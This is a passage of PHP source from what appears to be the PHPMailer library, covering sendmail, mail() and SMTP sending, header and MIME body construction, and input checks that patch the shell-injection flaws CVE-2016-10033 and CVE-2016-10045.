                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
